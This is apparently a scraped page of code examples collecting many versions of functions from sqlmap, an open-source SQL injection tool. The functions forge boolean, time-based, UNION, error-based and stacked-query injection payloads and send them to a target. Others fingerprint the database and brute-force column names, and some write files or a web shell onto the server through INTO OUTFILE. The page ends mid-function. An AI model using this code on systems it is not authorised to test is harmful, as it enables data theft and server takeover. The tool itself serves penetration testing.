Ejemplo n.º 1
0
def _goBooleanProxy(expression):
    """
    Retrieve the output of a boolean based SQL query
    """

    initTechnique(kb.technique)

    if conf.dnsDomain:
        query = agent.prefixQuery(kb.injection.data[kb.technique].vector)
        query = agent.suffixQuery(query)
        payload = agent.payload(newValue=query)
        output = _goDns(payload, expression)

        if output is not None:
            return output

    vector = kb.injection.data[kb.technique].vector
    vector = vector.replace("[INFERENCE]", expression)
    query = agent.prefixQuery(vector)
    query = agent.suffixQuery(query)
    payload = agent.payload(newValue=query)

    timeBasedCompare = kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)

    output = hashDBRetrieve(expression, checkConf=True)

    if output is None:
        output = Request.queryPage(payload, timeBasedCompare=timeBasedCompare, raise404=False)

        if output is not None:
            hashDBWrite(expression, output)

    return output
Ejemplo n.º 2
0
def columnExists(columnFile):
    if not conf.tbl:
        errMsg = "missing table parameter"
        raise sqlmapMissingMandatoryOptionException, errMsg

    columns = getFileItems(columnFile)
    if conf.db and '(*)' not in conf.db:
        table = "%s.%s" % (conf.db, conf.tbl)
    else:
        table = conf.tbl

    retVal = []
    infoMsg = "checking column existence using items from '%s'" % columnFile
    logger.info(infoMsg)

    pushValue(conf.verbose)
    conf.verbose = 0
    count = 0
    length = len(columns)

    for column in columns:
        query = agent.prefixQuery("%s" % safeStringFormat("AND EXISTS(SELECT %s FROM %s)", (column, table)))
        query = agent.suffixQuery(query)
        result = Request.queryPage(agent.payload(newValue=query))

        if result:
            infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), column)
            infoMsg = "%s%s\n" % (infoMsg, " "*(getConsoleWidth()-1-len(infoMsg)))
            dataToStdout(infoMsg, True)
            retVal.append(column)

        count += 1
        status = '%d/%d items (%d%s)' % (count, length, round(100.0*count/length), '%')
        dataToStdout("\r[%s] [INFO] tried: %s" % (time.strftime("%X"), status), True)

    conf.verbose = popValue()

    dataToStdout("\n", True)

    if not retVal:
        warnMsg = "no column found"
        logger.warn(warnMsg)
    else:
        columns = {}

        for column in retVal:
            query = agent.prefixQuery("%s" % safeStringFormat("AND EXISTS(SELECT %s FROM %s WHERE %s>0)", (column, table, column)))
            query = agent.suffixQuery(query)
            result = Request.queryPage(agent.payload(newValue=query))

            if result:
                columns[column] = 'numeric'
            else:
                columns[column] = 'non-numeric'

        kb.data.cachedColumns[conf.db] = {conf.tbl: columns}

    return kb.data.cachedColumns
Ejemplo n.º 3
0
    def __commentCheck(self):
        infoMsg = "executing MySQL comment injection fingerprint"
        logger.info(infoMsg)

        query   = agent.prefixQuery(" /* NoValue */")
        query   = agent.postfixQuery(query)
        payload = agent.payload(newValue=query)
        result  = Request.queryPage(payload)

        if not result:
            warnMsg = "unable to perform MySQL comment injection"
            logger.warn(warnMsg)

            return None

        # MySQL valid versions updated on 01/2010
        versions = (
                     (32200, 32234),    # MySQL 3.22
                     (32300, 32360),    # MySQL 3.23
                     (40000, 40032),    # MySQL 4.0
                     (40100, 40123),    # MySQL 4.1
                     (50000, 50090),    # MySQL 5.0
                     (50100, 50142),    # MySQL 5.1
                     (50400, 50405),    # MySQL 5.4
                     (50500, 50502),    # MySQL 5.5
                     (60000, 60011),    # MySQL 6.0
                   )

        for element in versions:
            prevVer = None

            for version in range(element[0], element[1] + 1):
                randInt = randomInt()
                version = str(version)
                query   = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
                query   = agent.postfixQuery(query)
                payload = agent.payload(newValue=query)
                result  = Request.queryPage(payload)

                if result:
                    if not prevVer:
                        prevVer = version

                    if version[0] == "3":
                        midVer = prevVer[1:3]
                    else:
                        midVer = prevVer[2]

                    trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:])

                    return trueVer

                prevVer = version

        return None
Ejemplo n.º 4
0
def unionTest():
    """
    This method tests if the target url is affected by an inband
    SQL injection vulnerability. The test is done up to 3*50 times
    """

    logMsg  = "testing inband sql injection on parameter "
    logMsg += "'%s'" % kb.injParameter
    logger.info(logMsg)

    value = ""

    query = agent.prefixQuery(" UNION ALL SELECT NULL")

    for comment in (queries[kb.dbms].comment, ""):
        value = __effectiveUnionTest(query, comment)

        if value:
            setUnion(comment, value.count("NULL"))

            break

    if kb.unionCount:
        logMsg  = "the target url could be affected by an "
        logMsg += "inband sql injection vulnerability"
        logger.info(logMsg)
    else:
        warnMsg  = "the target url is not affected by an "
        warnMsg += "inband sql injection vulnerability"
        logger.warn(warnMsg)

    return value
Ejemplo n.º 5
0
def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix):
    """
    This method tests if the target url is affected by an inband
    SQL injection vulnerability. The test is done up to 50 columns
    on the target database table
    """

    validPayload = None
    vector = None
    query = agent.prefixQuery("UNION ALL SELECT %s" % conf.uChar)
    total = conf.uColsStop+1 - conf.uColsStart

    count = __findUnionCharCount(comment, place, parameter, value, prefix, suffix)

    if count:
        if Backend.getIdentifiedDbms() in FROM_TABLE and query.endswith(FROM_TABLE[Backend.getIdentifiedDbms()]):
            query = query[:-len(FROM_TABLE[Backend.getIdentifiedDbms()])]

        if count:
            query += ", %s" % conf.uChar

        if Backend.getIdentifiedDbms() in FROM_TABLE:
            query += FROM_TABLE[Backend.getIdentifiedDbms()]

        validPayload, vector = __unionConfirm(comment, place, parameter, value, prefix, suffix, count)

    return validPayload, vector
Ejemplo n.º 6
0
    def linesTerminatedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
        logger.debug("encoding file to its hexadecimal string value")

        fcEncodedList = self.fileEncode(wFile, "hex", True)
        fcEncodedStr = fcEncodedList[0][2:]
        fcEncodedStrLen = len(fcEncodedStr)

        if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
            warnMsg = "the injection is on a GET parameter and the file "
            warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
            warnMsg += "bytes, this might cause errors in the file "
            warnMsg += "writing process"
            logger.warn(warnMsg)

        debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
        logger.debug(debugMsg)

        query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=dFile, HEXSTRING=fcEncodedStr)
        query = agent.prefixQuery(query)        # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
        payload = agent.payload(newValue=query)
        Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False)

        warnMsg = "expect junk characters inside the "
        warnMsg += "file as a leftover from original query"
        singleTimeWarnMessage(warnMsg)

        return self.askCheckWrittenFile(wFile, dFile, forceCheck)
Ejemplo n.º 7
0
def __unionTestByNULLBruteforce(comment):
    """
    This method tests if the target url is affected by an inband
    SQL injection vulnerability. The test is done up to 50 columns
    on the target database table
    """

    columns = None
    value   = None
    query   = agent.prefixQuery(" UNION ALL SELECT NULL")

    for count in range(0, 50):
        if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"):
            query = query[:-len(" FROM DUAL")]

        if count:
            query += ", NULL"

        if kb.dbms == "Oracle":
            query += " FROM DUAL"

        commentedQuery = agent.postfixQuery(query, comment)
        payload        = agent.payload(newValue=commentedQuery)
        seqMatcher     = Request.queryPage(payload, getSeqMatcher=True)

        if seqMatcher >= 0.6:
            columns = count + 1
            value   = __forgeUserFriendlyValue(payload)

            break

    return value, columns
Ejemplo n.º 8
0
def __unionTestByCharBruteforce(comment):
    """
    This method tests if the target url is affected by an inband
    SQL injection vulnerability. The test is done up to 50 columns
    on the target database table
    """

    query = agent.prefixQuery("UNION ALL SELECT %s" % conf.uChar)

    for count in range(conf.uColsStart, conf.uColsStop+1):
        if kb.dbms == DBMS.ORACLE and query.endswith(" FROM DUAL"):
            query = query[:-len(" FROM DUAL")]

        if count:
            query += ", %s" % conf.uChar

        if kb.dbms == DBMS.ORACLE:
            query += " FROM DUAL"

        validPayload = __unionConfirm(count, comment)

        if validPayload:
            setUnion(count=count)
            break

    return validPayload
Ejemplo n.º 9
0
    def __versionCheck(self):
        infoMsg = "executing %s SYSINFO version check" % DBMS.MAXDB
        logger.info(infoMsg)

        query = agent.prefixQuery("/* NoValue */")
        query = agent.suffixQuery(query)
        payload = agent.payload(newValue=query)
        result = Request.queryPage(payload)

        if not result:
            warnMsg = "unable to perform %s version check" % DBMS.MAXDB
            logger.warn(warnMsg)

            return None

        minor, major = None, None

        for version in (6, 7):
            result = inject.checkBooleanExpression("%d=(SELECT MAJORVERSION FROM SYSINFO.VERSION)" % version)

            if result:
                major = version

        for version in xrange(0, 10):
            result = inject.checkBooleanExpression("%d=(SELECT MINORVERSION FROM SYSINFO.VERSION)" % version)

            if result:
                minor = version

        if major and minor:
            return "%s.%s" % (major, minor)
        else:
            return None
Ejemplo n.º 10
0
    def uncPathRequest(self):
        if not isStackingAvailable():
            query = agent.prefixQuery("AND LOAD_FILE('%s')" % self.uncPath)
            query = agent.suffixQuery(query)
            payload = agent.payload(newValue=query)

            Request.queryPage(payload)
        else:
            inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True)
Ejemplo n.º 11
0
    def uncPathRequest(self):
        if not kb.stackedTest:
            query   = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath)
            query   = agent.postfixQuery(query)
            payload = agent.payload(newValue=query)

            Request.queryPage(payload)
        else:
            inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True)
Ejemplo n.º 12
0
    def uncPathRequest(self):
        if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
            query = agent.prefixQuery("AND LOAD_FILE('%s')" % self.uncPath)
            query = agent.suffixQuery(query)
            payload = agent.payload(newValue=query)

            Request.queryPage(payload)
        else:
            inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True)
Ejemplo n.º 13
0
 def __webFileInject(self, fileContent, fileName, directory):
     outFile     = posixpath.normpath("%s/%s" % (directory, fileName))
     uplQuery    = fileContent.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if kb.os == "Windows" else directory)
     query       = "LIMIT 1 INTO OUTFILE '%s' " % outFile
     query      += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)
     query       = agent.prefixQuery(query)
     query       = agent.suffixQuery(query)
     payload     = agent.payload(newValue=query)
     page        = Request.queryPage(payload)
     return page
Ejemplo n.º 14
0
 def _orderByTest(cols):
     query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
     query = agent.suffixQuery(query, suffix=suffix, comment=comment)
     payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
     page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
     return (
         not re.search(r"(warning|error|order by|failed)", page or "", re.I)
         and comparison(page, headers)
         or re.search(r"data types cannot be compared or sorted", page or "", re.I)
     )
Ejemplo n.º 15
0
def errorUse(expression, returnPayload=False):
    """
    Retrieve the output of a SQL query taking advantage of an error SQL
    injection vulnerability on the affected parameter.
    """

    output         = None
    logic          = conf.logic
    randInt        = randomInt(1)
    query          = agent.prefixQuery(queries[kb.misc.testedDbms].error.query)
    query          = agent.suffixQuery(query)
    startLimiter   = ""
    endLimiter     = ""

    expressionUnescaped = expression

    if kb.dbmsDetected:
        _, _, _, _, _, _, fieldToCastStr = agent.getFields(expression)
        nulledCastedField                = agent.nullAndCastField(fieldToCastStr)

        if kb.dbms == DBMS.MYSQL:
            nulledCastedField            = nulledCastedField.replace("AS CHAR)", "AS CHAR(100))") # fix for that 'Subquery returns more than 1 row'

        expressionReplaced               = expression.replace(fieldToCastStr, nulledCastedField, 1)
        expressionUnescaped              = unescaper.unescape(expressionReplaced)
        startLimiter                     = unescaper.unescape("'%s'" % ERROR_START_CHAR)
        endLimiter                       = unescaper.unescape("'%s'" % ERROR_END_CHAR)
    else:
        expressionUnescaped              = kb.misc.handler.unescape(expression)
        startLimiter                     = kb.misc.handler.unescape("'%s'" % ERROR_START_CHAR)
        endLimiter                       = kb.misc.handler.unescape("'%s'" % ERROR_END_CHAR)

    forgedQuery = safeStringFormat(query, (logic, randInt, startLimiter, expressionUnescaped, endLimiter))

    debugMsg = "query: %s" % forgedQuery
    logger.debug(debugMsg)

    payload = agent.payload(newValue=forgedQuery)
    result = Request.queryPage(payload, content=True)
    match = re.search('%s(?P<result>.*?)%s' % (ERROR_START_CHAR, ERROR_END_CHAR), result[0], re.DOTALL | re.IGNORECASE)

    if match:
        output = match.group('result')

        if output:
            output = output.replace(ERROR_SPACE, " ").replace(ERROR_EMPTY_CHAR, "")

            if conf.verbose > 0:
                infoMsg = "retrieved: %s" % replaceNewlineTabs(output, stdout=True)
                logger.info(infoMsg)

    if returnPayload:
        return output, payload
    else:
        return output
Ejemplo n.º 16
0
def goStacked(expression, silent=False):
    kb.technique = PAYLOAD.TECHNIQUE.STACKED
    expression = cleanQuery(expression)

    if conf.direct:
        return direct(expression)

    query = agent.prefixQuery(";%s" % expression)
    query = agent.suffixQuery(query)
    payload = agent.payload(newValue=query)
    Request.queryPage(payload, content=False, silent=silent, noteResponseTime=False, timeBasedCompare=True)
Ejemplo n.º 17
0
def timeTest():
    if kb.timeTest is not None:
        return kb.timeTest

    infoMsg  = "testing time-based blind sql injection on parameter "
    infoMsg += "'%s' with %s condition syntax" % (kb.injParameter, conf.logic)
    logger.info(infoMsg)

    timeQuery = getDelayQuery(andCond=True)
    query     = agent.prefixQuery("AND %s" % timeQuery)
    query     = agent.suffixQuery(query)
    payload   = agent.payload(newValue=query)
    start     = time.time()
    _         = Request.queryPage(payload)
    duration  = calculateDeltaSeconds(start)

    if duration >= conf.timeSec:
        infoMsg  = "the target url is affected by a time-based blind "
        infoMsg += "sql injection with AND condition syntax on parameter "
        infoMsg += "'%s'" % kb.injParameter
        logger.info(infoMsg)

        kb.timeTest = agent.removePayloadDelimiters(payload, False)
    else:
        warnMsg  = "the target url is not affected by a time-based blind "
        warnMsg += "sql injection with AND condition syntax on parameter "
        warnMsg += "'%s'" % kb.injParameter
        logger.warn(warnMsg)

        infoMsg  = "testing time-based blind sql injection on parameter "
        infoMsg += "'%s' with stacked queries syntax" % kb.injParameter
        logger.info(infoMsg)

        timeQuery  = getDelayQuery(andCond=True)
        start      = time.time()
        payload, _ = inject.goStacked(timeQuery)
        duration   = calculateDeltaSeconds(start)

        if duration >= conf.timeSec:
            infoMsg  = "the target url is affected by a time-based blind sql "
            infoMsg += "injection with stacked queries syntax on parameter "
            infoMsg += "'%s'" % kb.injParameter
            logger.info(infoMsg)

            kb.timeTest = agent.removePayloadDelimiters(payload, False)
        else:
            warnMsg  = "the target url is not affected by a time-based blind "
            warnMsg += "sql injection with stacked queries syntax on parameter "
            warnMsg += "'%s'" % kb.injParameter
            logger.warn(warnMsg)

            kb.timeTest = False

    return kb.timeTest
Ejemplo n.º 18
0
                            def genCmpPayload():
                                sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value)

                                # Forge response payload by prepending with
                                # boundary's prefix and appending the boundary's
                                # suffix to the test's ' <payload><comment> '
                                # string
                                boundPayload = agent.prefixQuery(sndPayload, prefix, where, clause)
                                boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
                                cmpPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)

                                return cmpPayload
Ejemplo n.º 19
0
def goStacked(expression):
    """
    TODO: write description
    """

    comment = queries[kb.dbms].comment
    query   = agent.prefixQuery("; %s" % expression)
    query   = agent.postfixQuery("%s;%s" % (query, comment))
    payload = agent.payload(newValue=query)
    page    = Request.queryPage(payload, content=True)

    return payload, page
Ejemplo n.º 20
0
def goStacked(expression, silent=False):
    expression = cleanQuery(expression)

    debugMsg = "query: %s" % expression
    logger.debug(debugMsg)

    comment = queries[kb.dbms].comment
    query = agent.prefixQuery("; %s" % expression)
    query = agent.postfixQuery("%s;%s" % (query, comment))
    payload = agent.payload(newValue=query)
    page, _ = Request.queryPage(payload, content=True, silent=silent)

    return payload, page
Ejemplo n.º 21
0
    def __versionCheck(self):
        infoMsg = "executing SAP MaxDB SYSINFO version check"
        logger.info(infoMsg)

        query   = agent.prefixQuery("/* NoValue */")
        query   = agent.suffixQuery(query)
        payload = agent.payload(newValue=query)
        result  = Request.queryPage(payload)

        if not result:
            warnMsg = "unable to perform SAP MaxDB version check"
            logger.warn(warnMsg)

            return None

        minor, major = None, None

        for version in [6, 7]:
            query   = agent.prefixQuery("AND (SELECT MAJORVERSION FROM SYSINFO.VERSION)=%d" % version)
            query   = agent.suffixQuery(query)
            payload = agent.payload(newValue=query)
            result  = Request.queryPage(payload)

            if result:
                major = version

        for version in xrange(0, 10):
            query   = agent.prefixQuery("AND (SELECT MINORVERSION FROM SYSINFO.VERSION)=%d" % version)
            query   = agent.suffixQuery(query)
            payload = agent.payload(newValue=query)
            result  = Request.queryPage(payload)

            if result:
                minor = version

        if major and minor:
            return "%s.%s" % (major, minor)
        else:
            return None
Ejemplo n.º 22
0
def timeTest():
    infoMsg  = "testing time based blind sql injection on parameter "
    infoMsg += "'%s' with AND condition syntax" % kb.injParameter
    logger.info(infoMsg)

    timeQuery = getDelayQuery(andCond=True)
    query     = agent.prefixQuery(" AND %s" % timeQuery)
    query     = agent.postfixQuery(query)
    payload   = agent.payload(newValue=query)
    start     = time.time()
    _         = Request.queryPage(payload)
    duration  = int(time.time() - start)

    if duration >= conf.timeSec:
        infoMsg  = "the parameter '%s' is affected by a time " % kb.injParameter
        infoMsg += "based blind sql injection with AND condition syntax"
        logger.info(infoMsg)

        kb.timeTest = payload

    else:
        warnMsg  = "the parameter '%s' is not affected by a time " % kb.injParameter
        warnMsg += "based blind sql injection with AND condition syntax"
        logger.warn(warnMsg)

        infoMsg  = "testing time based blind sql injection on parameter "
        infoMsg += "'%s' with stacked query syntax" % kb.injParameter
        logger.info(infoMsg)

        timeQuery  = getDelayQuery(andCond=True)
        start      = time.time()
        payload, _ = inject.goStacked(timeQuery)
        duration   = int(time.time() - start)

        if duration >= conf.timeSec:
            infoMsg  = "the parameter '%s' is affected by a time " % kb.injParameter
            infoMsg += "based blind sql injection with stacked query syntax"
            logger.info(infoMsg)

            kb.timeTest = payload
        else:
            warnMsg  = "the parameter '%s' is not affected by a time " % kb.injParameter
            warnMsg += "based blind sql injection with stacked query syntax"
            logger.warn(warnMsg)

            kb.timeTest = False

    return kb.timeTest
Ejemplo n.º 23
0
def checkForParenthesis():
    """
    This method checks if the SQL injection affected parameter
    is within the parenthesis.
    """

    logMsg = "testing for parenthesis on injectable parameter"
    logger.info(logMsg)

    count = 0

    if kb.parenthesis != None:
        return

    if conf.prefix or conf.postfix:
        kb.parenthesis = 0
        return

    for parenthesis in range(1, 4):
        query  = agent.prefixQuery("%s " % (")" * parenthesis))
        query += "AND %s" % ("(" * parenthesis)

        randInt = randomInt()
        randStr = randomStr()

        if kb.injType == "numeric":
            query += "%d=%d" % (randInt, randInt)
        elif kb.injType == "stringsingle":
            query += "'%s'='%s" % (randStr, randStr)
        elif kb.injType == "likesingle":
            query += "'%s' LIKE '%s" % (randStr, randStr)
        elif kb.injType == "stringdouble":
            query += "\"%s\"=\"%s" % (randStr, randStr)
        elif kb.injType == "likedouble":
            query += "\"%s\" LIKE \"%s" % (randStr, randStr)
        else:
            raise sqlmapNoneDataException, "unsupported injection type"

        payload = agent.payload(newValue=query)
        result = Request.queryPage(payload)

        if result == kb.defaultResult:
            count = parenthesis

    logMsg = "the injectable parameter requires %d parenthesis" % count
    logger.info(logMsg)

    setParenthesis(count)
Ejemplo n.º 24
0
def goStacked(expression, silent=False):
    expression = cleanQuery(expression)

    if conf.direct:
        return direct(expression), None

    comment = queries[kb.dbms].comment.query
    query   = agent.prefixQuery("; %s" % expression)
    query   = agent.suffixQuery("%s;%s" % (query, comment))

    debugMsg = "query: %s" % query
    logger.debug(debugMsg)

    payload = agent.payload(newValue=query)
    page, _ = Request.queryPage(payload, content=True, silent=silent)

    return payload, page
Ejemplo n.º 25
0
    def __sandBoxCheck(self):
        # Reference: http://milw0rm.com/papers/198
        retVal = None
        table = None
        if kb.dbmsVersion and len(kb.dbmsVersion) > 0:
            if kb.dbmsVersion[0] in ("97", "2000"):
                table = "MSysAccessObjects"
            elif kb.dbmsVersion[0] in ("2002-2003", "2007"):
                table = "MSysAccessStorage"
            if table:
                query = agent.prefixQuery("AND EXISTS(SELECT CURDIR() FROM %s)" % table)
                query = agent.suffixQuery(query)
                payload = agent.payload(newValue=query)
                result = Request.queryPage(payload)
                retVal = "not sandboxed" if result else "sandboxed"

        return retVal
Ejemplo n.º 26
0
def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix):
    """
    This method tests if the target url is affected by an inband
    SQL injection vulnerability. The test is done up to 50 columns
    on the target database table
    """

    validPayload = None
    vector = None
    query = agent.prefixQuery("UNION ALL SELECT %s" % kb.uChar)
    total = conf.uColsStop+1 - conf.uColsStart

    # In case that user explicitly stated number of columns affected
    if conf.uColsStop == conf.uColsStart:
        count = conf.uColsStart
    else:
        count = __findUnionCharCount(comment, place, parameter, value, prefix, suffix, PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE)

    if count:
        if Backend.getIdentifiedDbms() in FROM_TABLE and query.endswith(FROM_TABLE[Backend.getIdentifiedDbms()]):
            query = query[:-len(FROM_TABLE[Backend.getIdentifiedDbms()])]

        if count:
            query += ", %s" % kb.uChar

        if Backend.getIdentifiedDbms() in FROM_TABLE:
            query += FROM_TABLE[Backend.getIdentifiedDbms()]

        validPayload, vector = __unionConfirm(comment, place, parameter, value, prefix, suffix, count)

        if not all([validPayload, vector]) and not all([conf.uChar, conf.dbms]):
            warnMsg = "if UNION based SQL injection is not detected, "
            warnMsg += "please consider "
            if not conf.uChar:
                warnMsg += "using --union-char switch "
                warnMsg += "(e.g. --union-char=1) "
            if not conf.dbms:
                if not conf.uChar:
                    warnMsg += "and/or try to force the "
                else:
                    warnMsg += "forcing the "
                warnMsg += "back-end DBMS (e.g. --dbms=mysql) "
            singleTimeWarnMessage(warnMsg)

    return validPayload, vector
Ejemplo n.º 27
0
    def _webFileInject(self, fileContent, fileName, directory):
        outFile = posixpath.join(ntToPosixSlashes(directory), fileName)
        uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
        query = ""

        if isTechniqueAvailable(kb.technique):
            where = kb.injection.data[kb.technique].where

            if where == PAYLOAD.WHERE.NEGATIVE:
                randInt = randomInt()
                query += "OR %d=%d " % (randInt, randInt)

        query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery, conf.encoding))
        query = agent.prefixQuery(query)        # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
        payload = agent.payload(newValue=query)
        page = Request.queryPage(payload)

        return page
Ejemplo n.º 28
0
def goStacked(expression, silent=False):
    if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data:
        kb.technique = PAYLOAD.TECHNIQUE.STACKED
    else:
        for technique in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True):
            _ = getTechniqueData(technique)
            if _ and "stacked" in _["title"].lower():
                kb.technique = technique
                break

    expression = cleanQuery(expression)

    if conf.direct:
        return direct(expression)

    query = agent.prefixQuery(";%s" % expression)
    query = agent.suffixQuery(query)
    payload = agent.payload(newValue=query)
    Request.queryPage(payload, content=False, silent=silent, noteResponseTime=False, timeBasedCompare="SELECT" in (payload or "").upper())
Ejemplo n.º 29
0
    def __webFileInject(self, fileContent, fileName, directory):
        outFile = posixpath.normpath("%s/%s" % (directory, fileName))
        uplQuery = fileContent.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
        query = ""

        if isTechniqueAvailable(kb.technique):
            where = kb.injection.data[kb.technique].where

            if where == PAYLOAD.WHERE.NEGATIVE:
                randInt = randomInt()
                query += "OR %d=%d " % (randInt, randInt)

        query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery))
        query = agent.prefixQuery(query)
        query = agent.suffixQuery(query)
        payload = agent.payload(newValue=query)
        page = Request.queryPage(payload)

        return page
Ejemplo n.º 30
0
    def __webFileInject(self, fileContent, fileName, directory):
        outFile = posixpath.normpath("%s/%s" % (directory, fileName))
        uplQuery = fileContent.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
        query = ""

        if isTechniqueAvailable(kb.technique):
            where = kb.injection.data[kb.technique].where

            if where == PAYLOAD.WHERE.NEGATIVE:
                randInt = randomInt()
                query += "OR %d=%d " % (randInt, randInt)

        query += "LIMIT 1 INTO OUTFILE '%s' " % outFile
        query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)
        query = agent.prefixQuery(query)
        query = agent.suffixQuery(query)
        payload = agent.payload(newValue=query)
        page = Request.queryPage(payload)
        return page
Ejemplo n.º 31
0
Archivo: use.py Proyecto: weisst/w3af
def _oneShotErrorUse(expression, field=None):
    offset = 1
    partialValue = None
    threadData = getCurrentThreadData()
    retVal = hashDBRetrieve(expression, checkConf=True)

    if retVal and PARTIAL_VALUE_MARKER in retVal:
        partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
        logger.info("resuming partial value: '%s'" %
                    _formatPartialContent(partialValue))
        offset += len(partialValue)

    threadData.resumed = retVal is not None and not partialValue

    if Backend.isDbms(DBMS.MYSQL):
        chunk_length = MYSQL_ERROR_CHUNK_LENGTH
    elif Backend.isDbms(DBMS.MSSQL):
        chunk_length = MSSQL_ERROR_CHUNK_LENGTH
    else:
        chunk_length = None

    if retVal is None or partialValue:
        try:
            while True:
                check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
                trimcheck = "%s(?P<result>.*?)</" % (kb.chars.start)

                if field:
                    nulledCastedField = agent.nullAndCastField(field)

                    if any(
                            Backend.isDbms(dbms)
                            for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(
                                _ in field for _ in ("COUNT", "CASE")
                            ):  # skip chunking of scalar expression (unneeded)
                        extendedField = re.search(
                            r"[^ ,]*%s[^ ,]*" % re.escape(field),
                            expression).group(0)
                        if extendedField != field:  # e.g. MIN(surname)
                            nulledCastedField = extendedField.replace(
                                field, nulledCastedField)
                            field = extendedField
                        nulledCastedField = queries[Backend.getIdentifiedDbms(
                        )].substring.query % (nulledCastedField, offset,
                                              chunk_length)

                # Forge the error-based SQL injection request
                vector = kb.injection.data[kb.technique].vector
                query = agent.prefixQuery(vector)
                query = agent.suffixQuery(query)
                injExpression = expression.replace(field, nulledCastedField,
                                                   1) if field else expression
                injExpression = unescaper.escape(injExpression)
                injExpression = query.replace("[QUERY]", injExpression)
                payload = agent.payload(newValue=injExpression)

                # Perform the request
                page, headers = Request.queryPage(payload, content=True)

                incrementCounter(kb.technique)

                # Parse the returned page to get the exact error-based
                # SQL injection output
                output = reduce(lambda x, y: x if x is not None else y, (\
                        extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \
                        extractRegexResult(check, listToStrValue(headers.headers \
                        if headers else None), re.DOTALL | re.IGNORECASE), \
                        extractRegexResult(check, threadData.lastRedirectMsg[1] \
                        if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
                        threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \
                        None)

                if output is not None:
                    output = getUnicode(output)
                else:
                    trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \
                        or extractRegexResult(trimcheck, listToStrValue(headers.headers \
                        if headers else None), re.DOTALL | re.IGNORECASE) \
                        or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \
                        if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
                        threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)

                    if trimmed:
                        warnMsg = "possible server trimmed output detected "
                        warnMsg += "(due to its length and/or content): "
                        warnMsg += safecharencode(trimmed)
                        logger.warn(warnMsg)

                if any(
                        Backend.isDbms(dbms)
                        for dbms in (DBMS.MYSQL, DBMS.MSSQL)):
                    if offset == 1:
                        retVal = output
                    else:
                        retVal += output if output else ''

                    if output and len(output) >= chunk_length:
                        offset += chunk_length
                    else:
                        break

                    if kb.fileReadMode and output:
                        dataToStdout(
                            _formatPartialContent(output).replace(
                                r"\n", "\n").replace(r"\t", "\t"))
                else:
                    retVal = output
                    break
        except:
            if retVal is not None:
                hashDBWrite(expression,
                            "%s%s" % (retVal, PARTIAL_VALUE_MARKER))
            raise

        retVal = decodeHexValue(retVal) if conf.hexConvert else retVal

        if isinstance(retVal, basestring):
            retVal = htmlunescape(retVal).replace("<br>", "\n")

        retVal = _errorReplaceChars(retVal)

        if retVal is not None:
            hashDBWrite(expression, retVal)

    else:
        _ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
        retVal = extractRegexResult(_, retVal,
                                    re.DOTALL | re.IGNORECASE) or retVal

    return safecharencode(retVal) if kb.safeCharEncode else retVal
Ejemplo n.º 32
0
            if conf.predictOutput and len(
                    finalValue) > 0 and kb.partRun is not None:
                val = None
                commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(
                    finalValue, asciiTbl)

                # If there is one single output in common-outputs, check
                # it via equal against the query output
                if commonValue is not None:
                    # One-shot query containing equals commonValue
                    testValue = unescaper.unescape(
                        "'%s'" % commonValue
                    ) if "'" not in commonValue else unescaper.unescape(
                        "%s" % commonValue, quote=False)
                    query = agent.prefixQuery(
                        safeStringFormat("AND (%s) = %s",
                                         (expressionUnescaped, testValue)))
                    query = agent.suffixQuery(query)
                    queriesCount[0] += 1
                    result = Request.queryPage(
                        agent.payload(newValue=query),
                        timeBasedCompare=timeBasedCompare,
                        raise404=False)

